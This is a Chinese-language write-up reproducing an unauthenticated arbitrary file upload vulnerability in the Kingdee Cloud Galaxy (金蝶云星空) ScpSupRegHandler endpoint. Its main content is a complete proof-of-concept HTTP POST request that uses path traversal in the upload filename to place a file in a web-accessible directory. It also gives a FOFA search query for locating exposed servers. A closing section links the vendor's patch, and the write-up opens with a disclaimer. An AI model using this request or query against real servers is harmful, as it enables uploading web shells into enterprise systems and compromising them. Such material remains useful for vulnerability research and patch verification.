金蝶云星空 任意文件上传漏洞复现

前言

此文章仅用于技术交流，严禁用于对外发起恶意攻击！！！

---

一、产品简介

金蝶云星空是由金蝶国际软件集团开发的一款企业级云平台。金蝶云星空管理中心是金蝶软件（中国）有限公司基于云计算、人工智能、物联网等前沿技术研发的新一代战略性企业管理软件。

二、漏洞描述

金蝶云星空管理中心ScpSupRegHandler接口存在任意文件上传漏洞。攻击者可在无需登录的情况下利用此漏洞上传任意文件

三、影响范围

金蝶云星空企业版私有云

企业版私有云（订阅）

标准版私有云（订阅）

版本<=V8.1

四、复现环境

FOFA：icon_hash=“-1629133697” && title==“金蝶云星空”

五、漏洞复现

1.访问存在漏洞的网站，抓包

2.POC

POST /k3cloud/SRM/ScpSupRegHandler HTTP/1.1
Host: ip-port
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=zsqxokga
Accept-Encoding: gzip
Content-Length: 276

--zsqxokga
Content-Disposition: form-data; name="dbId_v"

.
--zsqxokga
Content-Disposition: form-data; name="FID"

2022
--zsqxokga
Content-Disposition: form-data; name="FAtt"; filename="../../../../uploadfiles/ccc.txt"
Content-Type: text/plain

ccc

--zsqxokga--

3.上传成功

4.访问http://ip:port/k3cloud/uploadfiles/ccc.txt

六、修复建议

目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

https://vip.kingdee.com/school/detail/505412093244235264?productLineId=1

---

参考链接

https://mp.weixin.qq.com/s/BrbJ1-svW5QzWt5SGTrrOg

---